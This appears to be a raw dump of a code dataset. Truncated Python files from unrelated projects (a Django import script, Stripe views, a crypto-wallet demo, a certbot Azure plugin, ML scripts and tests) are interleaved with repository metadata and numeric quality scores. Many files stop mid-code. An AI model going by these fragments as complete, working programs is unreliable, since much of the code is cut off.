from cdm.obje... | 56.454902 | 221 | 0.727077 | 1,566 | 14,396 | 6.44189 | 0.137931 | 0.063937 | 0.031721 | 0.018834 | 0.63521 | 0.578608 | 0.54778 | 0.538462 | 0.501784 | 0.496927 | 0 | 0.006281 | 0.192623 | 14,396 | 254 | 222 | 56.677165 | 0.861568 | 0.075021 | 0 | 0.4 | 0 | 0 | 0.124579 | 0.02958 | 0 | 0 | 0 | 0 | 0.263158 | 0 | null | null | 0 | 0.052632 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
9fd1f014c5d5b7866e50185659805f63bd40ebd9 | 6,038 | py | Python | setup.py | andreatramacere/jetset | 4b7859622db9713b6ee243e2c12ec81321b372bf | [
"BSD-3-Clause"
] | 16 | 2019-02-11T06:58:43.000Z | 2021-12-28T13:00:35.000Z | setup.py | andreatramacere/jetset | 4b7859622db9713b6ee243e2c12ec81321b372bf | [
"BSD-3-Clause"
] | 14 | 2019-04-14T14:49:55.000Z | 2021-12-27T04:18:24.000Z | setup.py | andreatramacere/jetset | 4b7859622db9713b6ee243e2c12ec81321b372bf | [
"BSD-3-Clause"
] | 10 | 2019-02-25T14:53:28.000Z | 2022-03-02T08:49:19.000Z | #!/usr/bin/env python
from __future__ import division, absolute_import, print_function
__author__ = 'andrea tramacere'
from setuptools import setup, find_packages,Extension
# from setuptools.command.install import install
# from distutils.extension import Extension
# import distutils.command.install as orig
from d... | 34.901734 | 176 | 0.48791 | 554 | 6,038 | 5.133574 | 0.379061 | 0.024613 | 0.022855 | 0.030591 | 0.15436 | 0.091421 | 0.091421 | 0.06962 | 0 | 0 | 0 | 0.002102 | 0.369659 | 6,038 | 172 | 177 | 35.104651 | 0.745139 | 0.056144 | 0 | 0.315385 | 0 | 0.007692 | 0.476718 | 0.094887 | 0 | 0 | 0 | 0 | 0 | 1 | 0.030769 | false | 0.061538 | 0.084615 | 0 | 0.138462 | 0.053846 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
9fd7af8273e6b7e9744ade794d211dd5ee462f86 | 420 | py | Python | pyrigate/units/parse.py | pyrigate/pyrigate | 366e33ef46ebc7928cf35f2d51ed0855c59d1a68 | [
"MIT"
] | 1 | 2018-02-03T23:22:20.000Z | 2018-02-03T23:22:20.000Z | pyrigate/units/parse.py | pyrigate/pyrigate | 366e33ef46ebc7928cf35f2d51ed0855c59d1a68 | [
"MIT"
] | 1 | 2018-05-12T13:55:01.000Z | 2018-05-13T00:16:23.000Z | pyrigate/units/parse.py | pyrigate/pyrigate | 366e33ef46ebc7928cf35f2d51ed0855c59d1a68 | [
"MIT"
] | 1 | 2019-10-18T12:23:02.000Z | 2019-10-18T12:23:02.000Z | # -*- coding: utf-8 -*-
"""."""
import re
_UNIT_STRING_REGEX = r'^([0-9\.]+)(ml|cl|dl|l)$'
def parse_unit(unit_string):
"""."""
lower_unit_string = unit_string.lower()
match = re.match(_UNIT_STRING_REGEX, lower_unit_string)
if match:
try:
return float(match.group(1)), match.gr... | 18.26087 | 59 | 0.57381 | 55 | 420 | 4.145455 | 0.545455 | 0.263158 | 0.131579 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.016181 | 0.264286 | 420 | 22 | 60 | 19.090909 | 0.721683 | 0.061905 | 0 | 0.166667 | 0 | 0 | 0.062663 | 0.062663 | 0 | 0 | 0 | 0 | 0 | 1 | 0.083333 | false | 0 | 0.083333 | 0 | 0.416667 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
9fe154537630b5423fecebdaa0e5bc8b96aff771 | 4,945 | py | Python | category_import.py | iankigen/art-backend | e46f8e1a530ae56b6a236af4ff686ca4e0dd6630 | [
"MIT"
] | null | null | null | category_import.py | iankigen/art-backend | e46f8e1a530ae56b6a236af4ff686ca4e0dd6630 | [
"MIT"
] | null | null | null | category_import.py | iankigen/art-backend | e46f8e1a530ae56b6a236af4ff686ca4e0dd6630 | [
"MIT"
] | null | null | null | import sys
import os
import csv
from tqdm import tqdm
import django
from import_util import display_inserted, display_skipped
project_dir = os.path.dirname(os.path.abspath(__file__))
sys.path.append(project_dir)
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "settings")
django.setup()
from core.models.asset import ... | 44.151786 | 79 | 0.394944 | 344 | 4,945 | 5.456395 | 0.232558 | 0.123069 | 0.063932 | 0.061268 | 0.533831 | 0.509323 | 0.437933 | 0.437933 | 0.338306 | 0.338306 | 0 | 0.003873 | 0.53003 | 4,945 | 111 | 80 | 44.54955 | 0.803787 | 0.002831 | 0 | 0.41 | 0 | 0 | 0.082606 | 0.004465 | 0 | 0 | 0 | 0 | 0 | 1 | 0.01 | false | 0 | 0.09 | 0 | 0.12 | 0.03 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
9fe2e87d337b6c88bd8c4467d12c5b714809bf62 | 1,015 | py | Python | afpy/yml.py | fordaj/afpy | 4fca208a186d276a28e7911210cedb02033237b0 | [
"MIT"
] | null | null | null | afpy/yml.py | fordaj/afpy | 4fca208a186d276a28e7911210cedb02033237b0 | [
"MIT"
] | null | null | null | afpy/yml.py | fordaj/afpy | 4fca208a186d276a28e7911210cedb02033237b0 | [
"MIT"
] | null | null | null |
import yaml
from yaml import Loader, Dumper
from .pathify import *
class yml:
def __init__(self):
pass
def dump(self,
data,
path : str
):
'''Dumps incoming python data into a YAML file at `path`.
-----
* `d... | 30.757576 | 86 | 0.487685 | 113 | 1,015 | 4.309735 | 0.380531 | 0.057495 | 0.053388 | 0.094456 | 0.069815 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.409852 | 1,015 | 33 | 87 | 30.757576 | 0.813022 | 0.331034 | 0 | 0.222222 | 0 | 0 | 0.003663 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0.055556 | 0.166667 | 0 | 0.444444 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
9fe8653449fbc6e6fa94b10d1d0a857bd0455ebf | 2,341 | py | Python | gumroad_clone/users/views.py | AlexanderTCHK/gumroad-clone | 39654243e581b918569772e410196557f71f6591 | [
"MIT"
] | 1 | 2022-01-22T13:43:30.000Z | 2022-01-22T13:43:30.000Z | gumroad_clone/users/views.py | AlexanderTCHK/gumroad-clone | 39654243e581b918569772e410196557f71f6591 | [
"MIT"
] | null | null | null | gumroad_clone/users/views.py | AlexanderTCHK/gumroad-clone | 39654243e581b918569772e410196557f71f6591 | [
"MIT"
] | null | null | null | import stripe
from django.conf import settings
from django.contrib.auth import get_user_model
from django.contrib.auth.mixins import LoginRequiredMixin
from django.contrib.messages.views import SuccessMessageMixin
from django.urls import reverse
from django.utils.translation import gettext_lazy as _
from django.views.g... | 29.2625 | 83 | 0.720632 | 260 | 2,341 | 6.280769 | 0.376923 | 0.042866 | 0.045928 | 0.02572 | 0.11635 | 0.11635 | 0.079608 | 0.079608 | 0.079608 | 0 | 0 | 0.000533 | 0.198206 | 2,341 | 80 | 84 | 29.2625 | 0.869473 | 0.035028 | 0 | 0.111111 | 0 | 0 | 0.070891 | 0 | 0 | 0 | 0 | 0 | 0.018519 | 1 | 0.092593 | false | 0 | 0.166667 | 0.037037 | 0.611111 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
9ff556e97733100f33310335bf44e3b09364ba15 | 3,985 | py | Python | demo.py | danuker/piggies | 215495689122fc14f9deb40587aaf2f34f526120 | [
"MIT"
] | 5 | 2018-06-05T14:28:32.000Z | 2020-10-28T14:30:03.000Z | demo.py | danuker/piggies | 215495689122fc14f9deb40587aaf2f34f526120 | [
"MIT"
] | 5 | 2018-06-04T09:08:48.000Z | 2018-06-29T17:46:58.000Z | demo.py | danuker/piggies | 215495689122fc14f9deb40587aaf2f34f526120 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# Before you can use Piggies, you need actual wallets.
# To fetch and extract the wallet clients, and create wallet files:
# mkdir wallets && cd wallets
#
# wget https://download.electrum.org/3.1.3/Electrum-3.1.3.tar.gz
# tar xvzf Electrum-3.1.3.tar.gz
# cd Electrum-3.1.3/
# mkdir -p ../../data... | 37.242991 | 103 | 0.684065 | 571 | 3,985 | 4.609457 | 0.37303 | 0.06421 | 0.011398 | 0.013678 | 0.276596 | 0.270517 | 0.234802 | 0.083967 | 0.06421 | 0 | 0 | 0.038712 | 0.150816 | 3,985 | 106 | 104 | 37.59434 | 0.739066 | 0.417817 | 0 | 0.04 | 0 | 0 | 0.406429 | 0.142668 | 0 | 0 | 0 | 0 | 0 | 1 | 0.02 | false | 0.08 | 0.06 | 0 | 0.08 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
b0017ce65ff4bed42aaeae9f18c1a86d9bbd1f1d | 1,089 | py | Python | scripts/main_validation.py | platycristate/ptah | 15369382fc48860cc5bcd6a201a8b250ae8cb516 | [
"MIT"
] | null | null | null | scripts/main_validation.py | platycristate/ptah | 15369382fc48860cc5bcd6a201a8b250ae8cb516 | [
"MIT"
] | 1 | 2021-06-11T12:01:33.000Z | 2021-06-11T12:01:33.000Z | scripts/main_validation.py | platycristate/ptah | 15369382fc48860cc5bcd6a201a8b250ae8cb516 | [
"MIT"
] | 1 | 2021-06-11T11:57:06.000Z | 2021-06-11T11:57:06.000Z | import pandas as pd
import matplotlib.pyplot as plt
import numpy as np
import re
import spacy
from time import time
import pickle
from collections import defaultdict
import pmi_tfidf_classifier as ptic
path = "../data/"
pd.set_option("display.max_rows", None, "display.max_columns", None)
np.random.seed(250)
spacy.pre... | 25.325581 | 87 | 0.769513 | 169 | 1,089 | 4.704142 | 0.52071 | 0.040252 | 0.025157 | 0.032704 | 0.042767 | 0 | 0 | 0 | 0 | 0 | 0 | 0.013388 | 0.108356 | 1,089 | 42 | 88 | 25.928571 | 0.805355 | 0 | 0 | 0 | 0 | 0 | 0.161439 | 0.035055 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.321429 | 0 | 0.321429 | 0.035714 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
b00c4cc641fafb1dc25683af3562c4fd4137c48c | 1,724 | py | Python | sdcflows/utils/misc.py | madisoth/sdcflows | c2f01e4f9b19dbd89ac1b54e3cfb0643fc3fd4f2 | [
"Apache-2.0"
] | 16 | 2020-02-25T17:47:10.000Z | 2022-03-07T02:54:51.000Z | sdcflows/utils/misc.py | madisoth/sdcflows | c2f01e4f9b19dbd89ac1b54e3cfb0643fc3fd4f2 | [
"Apache-2.0"
] | 175 | 2020-02-15T00:52:28.000Z | 2022-03-29T21:42:31.000Z | sdcflows/utils/misc.py | madisoth/sdcflows | c2f01e4f9b19dbd89ac1b54e3cfb0643fc3fd4f2 | [
"Apache-2.0"
] | 12 | 2019-05-28T23:34:37.000Z | 2020-01-22T21:32:22.000Z | # emacs: -*- mode: python; py-indent-offset: 4; indent-tabs-mode: nil -*-
# vi: set ft=python sts=4 ts=4 sw=4 et:
#
# Copyright 2021 The NiPreps Developers <nipreps@gmail.com>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may... | 24.628571 | 77 | 0.657773 | 233 | 1,724 | 4.849785 | 0.55794 | 0.053097 | 0.023009 | 0.028319 | 0.2 | 0.2 | 0.2 | 0.2 | 0.2 | 0.115044 | 0 | 0.015683 | 0.223318 | 1,724 | 69 | 78 | 24.985507 | 0.82823 | 0.695476 | 0 | 0.285714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.214286 | false | 0 | 0.071429 | 0 | 0.714286 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b0146dc56f96a9ee8522dfa5aeb06d9a9ea59827 | 1,167 | py | Python | kitty_tiny/tools/annoGen/AnnoEventHandler.py | sixxchung/mymm | 4e8cd43c2615c08a60bf21fe0c4604344b470602 | [
"MIT"
] | null | null | null | kitty_tiny/tools/annoGen/AnnoEventHandler.py | sixxchung/mymm | 4e8cd43c2615c08a60bf21fe0c4604344b470602 | [
"MIT"
] | null | null | null | kitty_tiny/tools/annoGen/AnnoEventHandler.py | sixxchung/mymm | 4e8cd43c2615c08a60bf21fe0c4604344b470602 | [
"MIT"
] | null | null | null |
import logging
from watchdog.events import LoggingEventHandler, FileSystemEventHandler
class AnnoEventHandler(FileSystemEventHandler):
"""Logs all the events captured."""
def __init__(self, logger=None):
super().__init__()
self.logger = logger or logging.root
def on_moved(self, event):
... | 31.540541 | 88 | 0.640103 | 149 | 1,167 | 4.845638 | 0.275168 | 0.083102 | 0.077562 | 0.088643 | 0.414127 | 0.390582 | 0.365651 | 0.365651 | 0.301939 | 0.240997 | 0 | 0 | 0.240788 | 1,167 | 36 | 89 | 32.416667 | 0.814898 | 0.02485 | 0 | 0.166667 | 0 | 0 | 0.124668 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.208333 | false | 0 | 0.083333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b01ead4c68269eedb233e679f59c48eb110ed041 | 1,518 | py | Python | recipes-bsp/b205/files/spihost_write_ftdi.py | tszucs/meta-ublox-tk1 | 8cb7c83d9a8b387fae4a4108a48e697d3e94df8e | [
"MIT"
] | null | null | null | recipes-bsp/b205/files/spihost_write_ftdi.py | tszucs/meta-ublox-tk1 | 8cb7c83d9a8b387fae4a4108a48e697d3e94df8e | [
"MIT"
] | null | null | null | recipes-bsp/b205/files/spihost_write_ftdi.py | tszucs/meta-ublox-tk1 | 8cb7c83d9a8b387fae4a4108a48e697d3e94df8e | [
"MIT"
] | null | null | null | #!/usr/bin/python
import sys, getopt, os, time, array
from pyftdi.spi import SpiController
def download ( filename, speed=5000000, chunksize=32 ):
try:
with open(filename, 'rb') as filein:
data = filein.read ()
data = array.array('B', data).tolist()
except IOError:
print "ERROR: Could not open file {0}".f... | 24.483871 | 147 | 0.675889 | 221 | 1,518 | 4.574661 | 0.466063 | 0.023739 | 0.035608 | 0.039565 | 0.181998 | 0.126607 | 0.055391 | 0 | 0 | 0 | 0 | 0.036249 | 0.164032 | 1,518 | 61 | 148 | 24.885246 | 0.760441 | 0.01054 | 0 | 0.148936 | 0 | 0.021277 | 0.177215 | 0.022652 | 0 | 0 | 0.007995 | 0 | 0 | 0 | null | null | 0 | 0.042553 | null | null | 0.148936 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b01eb11332b52c82d114e9890278450ea72e51d6 | 3,845 | py | Python | PedestrianSlayer/MechanicalControl/NeuralNetwork.py | Viriliter/PedestrianSlayer | 4adbdc3d0ed60408e6422cdba01f017701d05069 | [
"MIT"
] | 2 | 2018-05-23T14:14:23.000Z | 2018-12-03T21:08:37.000Z | PedestrianSlayer/MechanicalControl/NeuralNetwork.py | Viriliter/PedestrianSlayer | 4adbdc3d0ed60408e6422cdba01f017701d05069 | [
"MIT"
] | null | null | null | PedestrianSlayer/MechanicalControl/NeuralNetwork.py | Viriliter/PedestrianSlayer | 4adbdc3d0ed60408e6422cdba01f017701d05069 | [
"MIT"
] | null | null | null | import numpy as np
class NeuralNetwork():
'''
This neural network is designed for Pedestrian Car Project.
It constructs an input layer that gets 4 road and car parameters.
Using neural network algorithm, it gives optimum steering angle of the car.
To use this class:
-Firstly, using training... | 34.954545 | 116 | 0.635111 | 433 | 3,845 | 5.551963 | 0.311778 | 0.044925 | 0.044925 | 0.054077 | 0.131864 | 0.061564 | 0 | 0 | 0 | 0 | 0 | 0.020452 | 0.275163 | 3,845 | 109 | 117 | 35.275229 | 0.842124 | 0.23277 | 0 | 0.067797 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.20339 | false | 0 | 0.016949 | 0 | 0.305085 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b01f92f5f3f6a4f80aa7644a0330cdac5e27b92c | 1,405 | py | Python | tests/test_paramviewer.py | lnielsen/pyhf | 3d98dc445c384d2919a77b9af0a202e12343a707 | [
"Apache-2.0"
] | null | null | null | tests/test_paramviewer.py | lnielsen/pyhf | 3d98dc445c384d2919a77b9af0a202e12343a707 | [
"Apache-2.0"
] | null | null | null | tests/test_paramviewer.py | lnielsen/pyhf | 3d98dc445c384d2919a77b9af0a202e12343a707 | [
"Apache-2.0"
] | null | null | null | import pyhf
from pyhf.parameters import ParamViewer
def test_paramviewer_simple_nonbatched(backend):
pars = pyhf.tensorlib.astensor([1, 2, 3, 4, 5, 6, 7])
parshape = pyhf.tensorlib.shape(pars)
view = ParamViewer(
parshape,
{'hello': {'slice': slice(0, 2)}, 'world': {'slice': slice(5, 7)}... | 31.222222 | 86 | 0.605694 | 200 | 1,405 | 4.17 | 0.26 | 0.171463 | 0.159472 | 0.179856 | 0.683453 | 0.683453 | 0.669065 | 0.58753 | 0.510791 | 0.405276 | 0 | 0.060252 | 0.208541 | 1,405 | 44 | 87 | 31.931818 | 0.689748 | 0.019929 | 0 | 0.322581 | 0 | 0 | 0.043636 | 0 | 0 | 0 | 0 | 0 | 0.290323 | 1 | 0.064516 | false | 0 | 0.064516 | 0 | 0.129032 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b021c9112da0b09c0383564d4213787ef0cf3187 | 1,372 | py | Python | hrv/filters.py | LegrandNico/hrv | 35cdd1b7ddf8afdebf2db91f982b256c3b9dbf67 | [
"BSD-3-Clause"
] | 1 | 2020-01-06T20:08:04.000Z | 2020-01-06T20:08:04.000Z | hrv/filters.py | LegrandNico/hrv | 35cdd1b7ddf8afdebf2db91f982b256c3b9dbf67 | [
"BSD-3-Clause"
] | null | null | null | hrv/filters.py | LegrandNico/hrv | 35cdd1b7ddf8afdebf2db91f982b256c3b9dbf67 | [
"BSD-3-Clause"
] | null | null | null | import numpy as np
from hrv.rri import RRi
from hrv.utils import _create_time_info
def quotient(rri):
# TODO: Receive option to replaced outliers with stats
# functions (i.e mean, median etc)
# TODO: Receive option to re-create time array with cumsum of filtered rri
if isinstance(rri, RRi):
... | 25.886792 | 79 | 0.626093 | 221 | 1,372 | 3.751131 | 0.289593 | 0.065139 | 0.048251 | 0.079614 | 0.319662 | 0.319662 | 0.217129 | 0.217129 | 0.217129 | 0.12304 | 0 | 0.023121 | 0.24344 | 1,372 | 52 | 80 | 26.384615 | 0.77553 | 0.146501 | 0 | 0.3125 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.019231 | 0 | 1 | 0.125 | false | 0 | 0.09375 | 0.0625 | 0.34375 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b03af16df806f7a2f213bb90c1c62ae5588655f0 | 4,326 | py | Python | runner_service/controllers/jobs.py | tonykhbo/ansible-runner-service | 200bd9aa67fc0fd66a4425cfb38a2ac3aed4d4b2 | [
"Apache-2.0"
] | 174 | 2018-11-21T07:44:50.000Z | 2022-03-04T15:11:56.000Z | runner_service/controllers/jobs.py | tonykhbo/ansible-runner-service | 200bd9aa67fc0fd66a4425cfb38a2ac3aed4d4b2 | [
"Apache-2.0"
] | 76 | 2018-12-12T17:20:37.000Z | 2021-12-06T11:15:47.000Z | runner_service/controllers/jobs.py | tonykhbo/ansible-runner-service | 200bd9aa67fc0fd66a4425cfb38a2ac3aed4d4b2 | [
"Apache-2.0"
] | 61 | 2018-12-27T15:17:38.000Z | 2022-03-04T12:29:33.000Z | # from flask import request
from flask_restful import request
# import logging
from .utils import log_request
from .base import BaseResource
from ..services.jobs import get_events, get_event
from ..services.utils import APIResponse
import logging
logger = logging.getLogger(__name__)
class ListEvents(BaseResource):
... | 32.772727 | 184 | 0.502312 | 457 | 4,326 | 4.597374 | 0.369803 | 0.030462 | 0.042837 | 0.038077 | 0.447882 | 0.402665 | 0.368396 | 0.303665 | 0.23703 | 0.192289 | 0 | 0.12972 | 0.381646 | 4,326 | 131 | 185 | 33.022901 | 0.655701 | 0.627601 | 0 | 0.181818 | 0 | 0 | 0.029661 | 0 | 0 | 0 | 0 | 0.007634 | 0 | 1 | 0.090909 | false | 0 | 0.272727 | 0 | 0.590909 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
b04a94197db758a9aeced9b7588eec2e7e3ada18 | 7,835 | py | Python | certbot_azure/azure_agw.py | loufa-io/certbot-azure | f081da34fa74c3d2fded08af2da0ca2b5380fa14 | [
"MIT"
] | null | null | null | certbot_azure/azure_agw.py | loufa-io/certbot-azure | f081da34fa74c3d2fded08af2da0ca2b5380fa14 | [
"MIT"
] | null | null | null | certbot_azure/azure_agw.py | loufa-io/certbot-azure | f081da34fa74c3d2fded08af2da0ca2b5380fa14 | [
"MIT"
] | null | null | null | """Azure App Gateway Certbot installer plugin."""
from __future__ import print_function
import os
import sys
import logging
import time
import OpenSSL
import base64
try:
from secrets import token_urlsafe
except ImportError:
from os import urandom
def token_urlsafe(nbytes=None):
return urandom(nbyt... | 36.957547 | 117 | 0.664199 | 920 | 7,835 | 5.507609 | 0.268478 | 0.033353 | 0.051312 | 0.074403 | 0.252418 | 0.201895 | 0.190053 | 0.158279 | 0.158279 | 0.119992 | 0 | 0.006772 | 0.246075 | 7,835 | 211 | 118 | 37.132701 | 0.851024 | 0.159413 | 0 | 0.131387 | 0 | 0.007299 | 0.160241 | 0.041641 | 0 | 0 | 0 | 0 | 0 | 1 | 0.153285 | false | 0.116788 | 0.182482 | 0.021898 | 0.394161 | 0.007299 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
b04b28603590e6dad8f700f43ec0e40f0f4392cb | 1,999 | py | Python | image/apps/Ignitions.py | AnthonyRawlinsUoM/MetricsDashboard | 37594e46b0cec340e10d3123bbaf94b277a3ce22 | [
"MIT"
] | null | null | null | image/apps/Ignitions.py | AnthonyRawlinsUoM/MetricsDashboard | 37594e46b0cec340e10d3123bbaf94b277a3ce22 | [
"MIT"
] | null | null | null | image/apps/Ignitions.py | AnthonyRawlinsUoM/MetricsDashboard | 37594e46b0cec340e10d3123bbaf94b277a3ce22 | [
"MIT"
] | null | null | null |
from pathlib import Path
from glob import glob as glob
from extractor.Ignition import Ignition
import logging
logger = logging.getLogger(__name__)
class Ignitions:
"""
"""
def __init__(self, path, scenario_name, redis):
self.redis = redis
self.active = False
self.name = "Ignition... | 36.345455 | 76 | 0.477239 | 201 | 1,999 | 4.626866 | 0.477612 | 0.051613 | 0.034409 | 0.043011 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003484 | 0.425713 | 1,999 | 54 | 77 | 37.018519 | 0.80662 | 0 | 0 | 0 | 0 | 0 | 0.093326 | 0.019796 | 0 | 0 | 0 | 0.018519 | 0 | 1 | 0.075 | false | 0 | 0.1 | 0.025 | 0.225 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b05916119eca4a721a156d9e476326122efd26e2 | 4,956 | py | Python | rnnApp.py | RiboswitchClassifier/RiboswitchClassification | 4a4ab0590aa50aa765638b2bd8aa0cfd84054ac7 | [
"MIT"
] | 2 | 2019-12-16T13:08:28.000Z | 2021-02-23T03:03:18.000Z | rnnApp.py | RiboswitchClassifier/RiboswitchClassification | 4a4ab0590aa50aa765638b2bd8aa0cfd84054ac7 | [
"MIT"
] | null | null | null | rnnApp.py | RiboswitchClassifier/RiboswitchClassification | 4a4ab0590aa50aa765638b2bd8aa0cfd84054ac7 | [
"MIT"
] | 3 | 2019-01-01T06:00:20.000Z | 2020-01-28T13:57:49.000Z | import tensorflow as tf
import theano
import pandas as pd
import numpy as np
import matplotlib
# matplotlib.use('pdf')
import matplotlib.pyplot as plt
from keras.layers import Dense, Dropout, LSTM, Embedding, Activation, Lambda, Bidirectional
from sklearn.preprocessing import OneHotEncoder
from keras.engine import Inpu... | 43.858407 | 193 | 0.7841 | 705 | 4,956 | 5.278014 | 0.32766 | 0.031443 | 0.009675 | 0.016125 | 0.146735 | 0.121473 | 0.077399 | 0.044612 | 0.044612 | 0 | 0 | 0.009624 | 0.140436 | 4,956 | 112 | 194 | 44.25 | 0.86385 | 0.207829 | 0 | 0.045455 | 0 | 0 | 0.089254 | 0.052834 | 0 | 0 | 0 | 0 | 0 | 1 | 0.045455 | false | 0 | 0.340909 | 0 | 0.409091 | 0.090909 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
b064a795cdfc5cdd50a92817a383a97f8144e544 | 4,330 | py | Python | DeepRTS/python/game.py | cair/deep-rts | 7aa5dde0c5df10ae3a3d057e7b89641aec58e115 | [
"MIT"
] | 144 | 2018-07-13T07:47:50.000Z | 2022-03-31T06:29:50.000Z | DeepRTS/python/game.py | cair/DeepRTS | 2ea4de0993ea0ca2677fdb36a172779db4ce7868 | [
"MIT"
